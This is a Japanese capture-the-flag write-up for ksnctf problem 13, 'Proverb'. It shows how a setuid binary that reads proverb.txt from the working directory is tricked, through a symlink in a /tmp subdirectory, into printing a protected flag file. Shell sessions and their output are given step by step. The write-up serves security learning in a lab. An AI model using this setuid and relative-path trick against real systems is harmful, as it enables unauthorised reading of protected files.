ksnctf #13 Proverb


Proverb

proverb:ことわざ
https://ksnctf.sweetduet.info/problem/13

問題にはssh接続情報が書かれている。
とりあえずssh接続してみる

[q13@bdb358a2cd37 ~]$ ls -l 
total 32
-r-------- 1 q13a q13a    22 Feb 25 17:56 flag.txt
---s--x--x 1 q13a q13a 24144 Feb 25 17:56 proverb
-r--r--r-- 1 q13a q13a   755 Feb 25 17:56 proverb.txt

ssh接続してからlsコマンドで何があるか見てみると、3つのファイルがあった。
flag.txtに答えがありそうだけど、権限がないから見れない。
proverb.txtをcatコマンドで見てみる。

[q13@bdb358a2cd37 ~]$ cat proverb.txt
All's well that ends well.
A good beginning makes a good ending.
Many a true word is spoken in jest.
Fear is often greater than the danger.
Go for broke!
Fire is a good servant but a bad master.
The wolf knows what the ill beast thinks.
There is always a next time.
Spare the rod and spoil the child.
The calm before the storm.
The die is cast.
Take heed of the snake in the grass.
Confidence is a plant of slow growth.
Love is blind.
The sky's the limit...
Truth lies at the bottom of a well.
Blood is thicker than water.
Ignorance is bliss.
There's no way out.
Full of courtesy, full of craft.
Heaven helps those who help themselves.
Bad luck often brings good luck.
Misfortunes never come singly.
Nothing ventured, nothing gained.
Eternal Immortality.

英文が表示された。1個目の「All's well that ends well.」の訳は「終わりよければ全てよし。」で、たくさんのことわざが書かれているtxtファイルだった。

次にproverbを実行してみる。

[q13@9e30f4fab8b7 ~]$ ./proverb
The calm before the storm.
[q13@9e30f4fab8b7 ~]$ ./proverb
Nothing ventured, nothing gained.
[q13@9e30f4fab8b7 ~]$ ./proverb
Nothing ventured, nothing gained.
[q13@9e30f4fab8b7 ~]$ ./proverb
There is always a next time.
[q13@9e30f4fab8b7 ~]$ ./proverb
There is always a next time.
[q13@9e30f4fab8b7 ~]$ ./proverb
The calm before the storm.
[q13@9e30f4fab8b7 ~]$ ./proverb
The calm before the storm.
[q13@9e30f4fab8b7 ~]$ ./proverb
Spare the rod and spoil the child.
[q13@9e30f4fab8b7 ~]$ ./proverb
Spare the rod and spoil the child.
[q13@9e30f4fab8b7 ~]$ ./proverb
Ignorance is bliss.
[q13@9e30f4fab8b7 ~]$ ./proverb
Ignorance is bliss.

proverbはproverb.txtを参照して、ことわざの中からランダム(?)に1つ表示するものだと思われる。
proverbがproverb.txtを参照しているため、flag.txtの名前をproverb.txtに変更すればflag.txtの中身を取り出して表示できそう。

mvコマンドで変更してみる。

[q13@59a0771ab01e ~]$ mv flag.txt proverb.txt
mv: replace 'proverb.txt', overriding mode 0444 (r--r--r--)? yes
mv: cannot move 'flag.txt' to 'proverb.txt': Permission denied

権限がなくてできなかった。

cdコマンドで他のディレクトリを見てみる。

[q13@ec02b9eafae3 ~]$ ls
flag.txt  proverb  proverb.txt
[q13@ec02b9eafae3 ~]$ pwd
/home/q13
[q13@ec02b9eafae3 ~]$ cd .. 
[q13@ec02b9eafae3 home]$ ls
q13  q13a
[q13@ec02b9eafae3 home]$ cd q13a
-bash: cd: q13a: Permission denied
[q13@ec02b9eafae3 home]$ cd ..
[q13@ec02b9eafae3 /]$ ls
bin  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

最初にいたディテクトリは/home/q13だった。とりあえずhomeに移動してlsすると、q13とq13aが見つかった。q13aへ移動しようとしたけど権限がなくてできなかった。さらにホームディレクトリに行ってみると、binやdev等の環境設定用のディレクトリがある。詳しくはここ

proverbは現在の(実行した時の)ディレクトリに存在するproverb.txtを参照するため。だから書き込み権限があるtmpディレクトリにflag.txtのシンボリックリンクをproverb.txtとして作ったら答えがわかりそう。
シンボリックリンクは、lnコマンドで作る。
以下の例だとaaa.txtというファイルにbbb.txtというシンボリックリンクを作成する。この場合、bbb.txtを開いたり編集したりすることは、aaa.txtを開いたり編集したりすること同じ操作結果になる。

ln -s aaa.txt bbb.txt

やってみる。

[q13@730e50a54f9e ~]$ cd ../..
[q13@730e50a54f9e /]$ ls
bin  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
[q13@730e50a54f9e /]$ cd tmp
[q13@730e50a54f9e tmp]$ ln -s /home/q13/flag.txt proverb.txt 
[q13@730e50a54f9e tmp]$ ls -l
total 8
-rwx------ 1 root root 701 Dec  4  2020 ks-script-esd4my7v
-rwx------ 1 root root 671 Dec  4  2020 ks-script-eusq_sc5
lrwxrwxrwx 1 q13  q13   18 Jul 19 07:13 proverb.txt -> /home/q13/flag.txt
[q13@730e50a54f9e tmp]$ 
[q13@730e50a54f9e tmp]$ 
[q13@730e50a54f9e tmp]$ 
[q13@730e50a54f9e tmp]$ /home/q13/proverb 
Failed to open proverb.txt

ます/tmpに移動してln -s /home/q13/flag.txt proverb.txtを実行しシンボリックリンクを作成する。/home/q13/flag.txtは目的のファイルであるflag.txtがある場所のパスで、後ろのproverb.txtはこの名前でシンボリックリンクを作りますっていう意味。ここの名前をproverb.txtにしておかないと、proverbを実行した時に、proverb.txtがありませんっていうエラーが起きる。

/home/q13/proverbで実行してみると、Failed to open proverb.txtと出てきてファイルが開けない。
シンボリックリンクで作ったはずのproverb.txtにアクセスできないっぽい。lsコマンドでproverb.txtはちゃんと作られているのが確認できるから、アクセス権限とかの問題かなと思ったけど詳しいことはよく分からなかった。けど、/tmpに自分で勝手にディレクトリを作って、その場所でシンボリックリンク作って実行したらうまくいった。

[q13@3d3ae583f0e0 ~]$ ls 
flag.txt  proverb  proverb.txt
[q13@3d3ae583f0e0 ~]$ cd ../..
[q13@3d3ae583f0e0 /]$ ls    
bin  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
[q13@3d3ae583f0e0 /]$ cd tmp
[q13@3d3ae583f0e0 tmp]$ mkdir ans
[q13@3d3ae583f0e0 tmp]$ ls
ans  ks-script-esd4my7v  ks-script-eusq_sc5
[q13@3d3ae583f0e0 tmp]$ 
[q13@3d3ae583f0e0 tmp]$ cd ans
[q13@3d3ae583f0e0 ans]$ 
[q13@3d3ae583f0e0 ans]$ ln -s /home/q13/flag.txt proverb.txt
[q13@3d3ae583f0e0 ans]$ ls -l
total 0
lrwxrwxrwx 1 q13 q13 18 Jul 19 07:28 proverb.txt -> /home/q13/flag.txt
[q13@3d3ae583f0e0 ans]$ 
[q13@3d3ae583f0e0 ans]$ 
[q13@3d3ae583f0e0 ans]$ 
[q13@3d3ae583f0e0 ans]$ 
[q13@3d3ae583f0e0 ans]$ /home/q13/proverb 
FLAG_xxxxxxxxxxxxxxxxxxxx

フラグが得られた。

まとめ

シンボリックシンクをうまく使うことで解くことができた。
proverbを実行した結果から、それがどんなふうに動いているかを推測する力が大切だと思った。
/tmp内にシンボリックリンク作るとなんでフラグが得られなかったのかがわからなかった。この辺りの細かいこともちゃんと理解したい。